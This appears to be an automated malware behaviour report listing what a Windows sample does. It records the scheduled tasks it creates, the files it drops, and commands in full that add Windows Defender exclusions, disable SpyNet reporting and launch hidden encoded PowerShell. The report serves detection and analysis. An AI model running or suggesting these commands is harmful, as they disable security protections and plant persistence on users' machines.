Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\gzqkwcahq
- %WINDIR%\tasks\biuppvoakterllrdoy.job
- <SYSTEM32>\tasks\biuppvoakterllrdoy
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Extensions] 'exe' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions] 'exe' = '0'
Modifies file system
Creates the following files
- %TEMP%\7zs4337.tmp\install.exe
- %TEMP%\wgzyjenoiekvhvjsc\sxloqxnbkxaerar\mygsvft.exe
Deletes the following files
- <SYSTEM32>\tasks\gzqkwcahq
Substitutes the following files
- %ALLUSERSPROFILE%\ntuser.pol
- %HOMEPATH%\ntuser.pol
Miscellaneous
Creates and executes the following
- '%TEMP%\7zs4337.tmp\install.exe' /S /site_id "525403"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==' (with hidden window)
- '<SYSTEM32>\gpupdate.exe' /force' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Mic...
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "gZqkWCahq"
- '<SYSTEM32>\gpscript.exe' /RefreshSystemParam
- '<SYSTEM32>\gpupdate.exe' /force
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
- '<SYSTEM32>\taskeng.exe' {6C5EC0E1-B008-42F0-9C83-30F58B7B65AB} S-1-5-21-1960123792-2022915161-3775307078-1001:tneiyumfnnht\user:Interactive:[1]
- '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "gZqkWCahq"
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "biUPpVoaKTErllRDoY" /SC once /ST 13:55:00 /RU "SYSTEM" /TR "\"%TEMP%\wgzYjeNOiEkvhvJsC\SXloqxNbKXaErAR\mYgsvFt.exe\" Sc /site_id 525403 /S" /V1 /F
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "gZqkWCahq" /SC once /ST 09:06:48 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZ...
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
- '%WINDIR%\syswow64\cmd.exe' REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "Sp...
- '%WINDIR%\syswow64\cmd.exe' REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extens...
- '%WINDIR%\syswow64\forfiles.exe' /p <SYSTEM32> /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Mic...
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
- '<SYSTEM32>\raserver.exe' /offerraupdate
